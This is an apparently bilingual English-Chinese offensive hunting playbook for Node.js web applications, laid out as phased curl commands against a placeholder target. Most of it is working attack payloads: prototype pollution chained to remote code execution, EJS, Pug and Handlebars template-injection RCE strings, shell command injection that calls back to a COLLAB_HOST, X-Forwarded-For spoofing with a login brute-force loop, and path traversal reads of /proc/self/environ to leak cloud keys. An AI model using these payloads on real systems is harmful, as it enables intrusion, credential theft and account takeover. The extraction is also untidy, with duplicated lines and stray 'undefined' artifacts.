hunt-nodejs

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

HUNT-NODEJS — Node.js Specific Vulnerabilities

HUNT-NODEJS — Node.js 特有漏洞

Crown Jewel Targets

核心高价值目标

Prototype Pollution reaching a sink in Node.js backend = Critical RCE.
Highest-value chains:
  • Prototype Pollution → RCE —
    __proto__
    injection via
    lodash.merge
    /
    Object.assign
    → polluted prototype reaches
    child_process.exec
    or
    vm.runInNewContext
    sink
  • Express trust proxy —
    app.set('trust proxy', true)
    without validation → attacker sets
    X-Forwarded-For
    to bypass IP allowlists or rate limits
  • EJS/Pug SSTI — template engine receives user input →
    {{= process.mainModule.require('child_process').execSync('id') }}
  • child_process
    injection
    — user input interpolated into shell command string → OS command injection
  • require()
    path traversal
    — attacker-controlled module path → load arbitrary file as JS

在 Node.js 后端中,Prototype Pollution 到达 sink = 严重级 RCE。
最高价值的攻击链:
  • Prototype Pollution → RCE — 通过
    lodash.merge
    /
    Object.assign
    注入
    __proto__
    → 被污染的原型最终到达
    child_process.exec
    或
    vm.runInNewContext
    sink
  • Express trust proxy —
    app.set('trust proxy', true)
    未进行验证 → 攻击者可设置
    X-Forwarded-For
    来绕过 IP 白名单或速率限制
  • EJS/Pug SSTI — 模板引擎接收用户输入 →
    {{= process.mainModule.require('child_process').execSync('id') }}
  • child_process
    注入
    — 用户输入被拼接到 shell 命令字符串中 → OS 命令注入
  • require()
    路径遍历
    — 攻击者可控的模块路径 → 将任意文件作为 JS 加载

Attack Surface Signals

攻击面特征

X-Powered-By: Express           Confirms Express.js
Node.js in error messages        Runtime detected
package.json exposed             Dependency list + versions
/proc/self/environ accessible    Environment variable exfil
Error stack traces with .js paths  Node.js confirmed
__proto__ in JSON accepted        Prototype pollution candidate

X-Powered-By: Express           Confirms Express.js
Node.js in error messages        Runtime detected
package.json exposed             Dependency list + versions
/proc/self/environ accessible    Environment variable exfil
Error stack traces with .js paths  Node.js confirmed
__proto__ in JSON accepted        Prototype pollution candidate

Phase 1 — Fingerprint

阶段 1 — 指纹识别

bash
undefined
bash
undefined

Confirm Node.js/Express

Confirm Node.js/Express

curl -sI https://$TARGET/ | grep -i "x-powered-by|nodejs|express"
curl -sI https://$TARGET/ | grep -i "x-powered-by|nodejs|express"

Check for package.json / node_modules exposure

Check for package.json / node_modules exposure

curl -s "https://$TARGET/package.json" curl -s "https://$TARGET/package-lock.json" curl -s "https://$TARGET/node_modules/.package-lock.json"
curl -s "https://$TARGET/package.json" curl -s "https://$TARGET/package-lock.json" curl -s "https://$TARGET/node_modules/.package-lock.json"

Error-based version detection

Error-based version detection

curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node|express|cannot GET"

---
curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node|express|cannot GET"

---

Phase 2 — Prototype Pollution Detection

阶段 2 — Prototype Pollution 检测

bash
undefined
bash
undefined

JSON body injection — test if proto is accepted

JSON body injection — test if proto is accepted

curl -s -X POST https://$TARGET/api/merge
-H "Content-Type: application/json"
-d '{"proto": {"polluted": "yes"}}'
curl -s -X POST https://$TARGET/api/merge
-H "Content-Type: application/json"
-d '{"proto": {"polluted": "yes"}}'

Constructor prototype

Constructor prototype

curl -s -X POST https://$TARGET/api/settings
-H "Content-Type: application/json"
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
curl -s -X POST https://$TARGET/api/settings
-H "Content-Type: application/json"
-d '{"constructor": {"prototype": {"isAdmin": true}}}'

URL query param injection (qs library)

URL query param injection (qs library)

curl -s "https://$TARGET/api/search?proto[polluted]=yes&query=test" curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"
curl -s "https://$TARGET/api/search?proto[polluted]=yes&query=test" curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"

Confirm pollution: does a subsequent request reflect the polluted key?

Confirm pollution: does a subsequent request reflect the polluted key?

curl -s "https://$TARGET/api/me" | grep -i "polluted|isAdmin|admin"

---
curl -s "https://$TARGET/api/me" | grep -i "polluted|isAdmin|admin"

---

Phase 3 — Prototype Pollution → RCE Chain

阶段 3 — Prototype Pollution → RCE 链

bash
undefined
bash
undefined

If pollution is confirmed, attempt to reach dangerous sinks

If pollution is confirmed, attempt to reach dangerous sinks

Sink 1: child_process via options.shell pollution

Sink 1: child_process via options.shell pollution

curl -s -X POST https://$TARGET/api/update
-H "Content-Type: application/json"
-d '{ "proto": { "shell": "node", "NODE_OPTIONS": "--require /proc/self/fd/0", "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"} } }'
curl -s -X POST https://$TARGET/api/update
-H "Content-Type: application/json"
-d '{ "proto": { "shell": "node", "NODE_OPTIONS": "--require /proc/self/fd/0", "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"} } }'

Sink 2: lodash template pollution (CVE-2021-23337)

Sink 2: lodash template pollution (CVE-2021-23337)

curl -s -X POST https://$TARGET/api/render
-H "Content-Type: application/json"
-d '{"proto": {"sourceURL": "\nreturn process.mainModule.require("child_process").execSync("id").toString()//"}}'
curl -s -X POST https://$TARGET/api/render
-H "Content-Type: application/json"
-d '{"proto": {"sourceURL": "\nreturn process.mainModule.require("child_process").execSync("id").toString()//"}}'

Sink 3: ejs template options pollution

Sink 3: ejs template options pollution

If EJS is used for rendering, pollute the
opts.escapeXML
or
opts.outputFunctionName

If EJS is used for rendering, pollute the
opts.escapeXML
or
opts.outputFunctionName

curl -s -X POST https://$TARGET/api/template
-H "Content-Type: application/json"
-d '{"proto": {"outputFunctionName": "x;process.mainModule.require("child_process").execSync("curl COLLAB_HOST/pp-rce");x"}}'
curl -s -X POST https://$TARGET/api/template
-H "Content-Type: application/json"
-d '{"proto": {"outputFunctionName": "x;process.mainModule.require("child_process").execSync("curl COLLAB_HOST/pp-rce");x"}}'

OOB confirmation — check Interactsh for callback

OOB confirmation — check Interactsh for callback


---

---

Phase 4 — Express Trust Proxy Abuse

阶段 4 — Express Trust Proxy 滥用

bash
undefined
bash
undefined

If Express has trust proxy enabled, X-Forwarded-For is trusted

If Express has trust proxy enabled, X-Forwarded-For is trusted

Test: does spoofed IP bypass IP-based rate limiting or allowlist?

Test: does spoofed IP bypass IP-based rate limiting or allowlist?

Spoof IP to 127.0.0.1 (localhost bypass)

Spoof IP to 127.0.0.1 (localhost bypass)

curl -s -X POST https://$TARGET/api/admin/action
-H "X-Forwarded-For: 127.0.0.1"
-H "Content-Type: application/json"
-d '{"action": "test"}'
curl -s -X POST https://$TARGET/api/admin/action
-H "X-Forwarded-For: 127.0.0.1"
-H "Content-Type: application/json"
-d '{"action": "test"}'

Spoof to internal IP range

Spoof to internal IP range

curl -s -X POST https://$TARGET/api/internal
-H "X-Forwarded-For: 10.0.0.1"
-H "X-Real-IP: 10.0.0.1"
curl -s -X POST https://$TARGET/api/internal
-H "X-Forwarded-For: 10.0.0.1"
-H "X-Real-IP: 10.0.0.1"

Rate limit bypass via rotating fake IPs

Rate limit bypass via rotating fake IPs

for i in $(seq 1 50); do curl -s https://$TARGET/api/login
-H "X-Forwarded-For: 1.2.3.$i"
-d '{"email":"admin@test.com","password":"wrong"}'
-o /dev/null -w "$i: %{http_code}\n" done

---
for i in $(seq 1 50); do curl -s https://$TARGET/api/login
-H "X-Forwarded-For: 1.2.3.$i"
-d '{"email":"admin@test.com","password":"wrong"}'
-o /dev/null -w "$i: %{http_code}\n" done

---

Phase 5 — Template Engine SSTI (EJS / Pug / Handlebars)

阶段 5 — 模板引擎 SSTI(EJS / Pug / Handlebars)

bash
undefined
bash
undefined

EJS SSTI — if user input reaches EJS template context

EJS SSTI — if user input reaches EJS template context

Test basic: <%= 7*7 %> should return 49

Test basic: <%= 7*7 %> should return 49

curl -s -X POST https://$TARGET/api/render
-H "Content-Type: application/json"
-d '{"template": "<%= 7*7 %>"}'
curl -s -X POST https://$TARGET/api/render
-H "Content-Type: application/json"
-d '{"template": "<%= 7*7 %>"}'

EJS RCE payload

EJS RCE payload

curl -s -X POST https://$TARGET/api/render
-H "Content-Type: application/json"
-d '{"template": "<%= process.mainModule.require("child_process").execSync("id").toString() %>"}'
curl -s -X POST https://$TARGET/api/render
-H "Content-Type: application/json"
-d '{"template": "<%= process.mainModule.require("child_process").execSync("id").toString() %>"}'

Pug SSTI

Pug SSTI

curl -s -X POST https://$TARGET/api/render
-H "Content-Type: application/json"
-d '{"template": "- var x = root.process\n= x.mainModule.require("child_process").execSync("id")"}'
curl -s -X POST https://$TARGET/api/render
-H "Content-Type: application/json"
-d '{"template": "- var x = root.process\n= x.mainModule.require("child_process").execSync("id")"}'

Handlebars — prototype pollution via template

Handlebars — prototype pollution via template

curl -s -X POST https://$TARGET/api/render
-H "Content-Type: application/json"
-d '{"template": "{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return process.mainModule.require(childprocess).execSync(id)"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'

---
curl -s -X POST https://$TARGET/api/render
-H "Content-Type: application/json"
-d '{"template": "{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return process.mainModule.require(childprocess).execSync(id)"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'

---

Phase 6 — child_process Command Injection

阶段 6 — child_process 命令注入

bash
undefined
bash
undefined

Look for endpoints that run shell commands with user input

Look for endpoints that run shell commands with user input

Signals: /api/convert, /api/exec, /api/ping, /api/scan

Signals: /api/convert, /api/exec, /api/ping, /api/scan

Basic injection test

Basic injection test

curl -s "https://$TARGET/api/ping?host=127.0.0.1;id" curl -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci" curl -s -X POST https://$TARGET/api/exec
-H "Content-Type: application/json"
-d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'
curl -s "https://$TARGET/api/ping?host=127.0.0.1;id" curl -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci" curl -s -X POST https://$TARGET/api/exec
-H "Content-Type: application/json"
-d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'

OOB via DNS

OOB via DNS

curl -s "https://$TARGET/api/dns?host=$(curl+COLLAB_HOST/dns-ci).example.com"

---
curl -s "https://$TARGET/api/dns?host=$(curl+COLLAB_HOST/dns-ci).example.com"

---

Phase 7 — /proc/self/environ Exfil

阶段 7 — /proc/self/environ 数据外泄

bash
undefined
bash
undefined

If LFI exists on Node.js app, /proc/self/environ leaks env vars

If LFI exists on Node.js app, /proc/self/environ leaks env vars

curl -s "https://$TARGET/api/file?path=/proc/self/environ" curl -s "https://$TARGET/api/read?file=../../../../proc/self/environ"
curl -s "https://$TARGET/api/file?path=/proc/self/environ" curl -s "https://$TARGET/api/read?file=../../../../proc/self/environ"

Also check:

Also check:

curl -s "https://$TARGET/api/file?path=/proc/self/cmdline" # full command line curl -s "https://$TARGET/api/file?path=/proc/self/cwd" # working directory

---
curl -s "https://$TARGET/api/file?path=/proc/self/cmdline" # full command line curl -s "https://$TARGET/api/file?path=/proc/self/cwd" # working directory

---

Chain Table

攻击链表

Node.js findingChain toImpact
Prototype pollution confirmedFind RCE sink (child_process, eval)Critical RCE
Express trust proxyBypass IP allowlist / rate limitAuth bypass / DoS bypass
SSTI in template engineOS command executionCritical RCE
child_process injection
id && curl COLLAB_HOST
Critical RCE
/proc/self/environ via LFIAWS_ACCESS_KEY_ID leakedCloud compromise

Node.js 发现结果可链式利用至影响
Prototype Pollution 已确认查找 RCE sink(child_process、eval)严重级 RCE
Express trust proxy绕过 IP 白名单 / 速率限制身份验证绕过 / DoS 绕过
模板引擎中存在 SSTIOS 命令执行严重级 RCE
child_process 注入
id && curl COLLAB_HOST
严重级 RCE
通过 LFI 访问 /proc/self/environAWS_ACCESS_KEY_ID 泄露云环境失陷

Validation

验证

✅ Prototype pollution: key appears in subsequent API responses without being sent ✅ RCE chain: OOB callback received OR
id
output in response ✅ Trust proxy: spoofed IP accepted, bypasses rate limit or allowlist
Severity:
  • Prototype pollution → RCE: Critical
  • SSTI → RCE: Critical
  • child_process injection: Critical
  • Trust proxy → rate limit bypass: Medium
  • /proc/self/environ exfil: High (if cloud keys present)
✅ Prototype Pollution:未在后续请求中发送该键,但它出现在后续 API 响应中 ✅ RCE 链:收到 OOB 回调,或响应中包含
id
输出 ✅ Trust Proxy:伪造的 IP 被接受,并绕过速率限制或白名单
严重程度:
  • Prototype Pollution → RCE:严重
  • SSTI → RCE:严重
  • child_process 注入:严重
  • Trust Proxy → 速率限制绕过:中危
  • /proc/self/environ 数据外泄:高危(存在云端密钥时)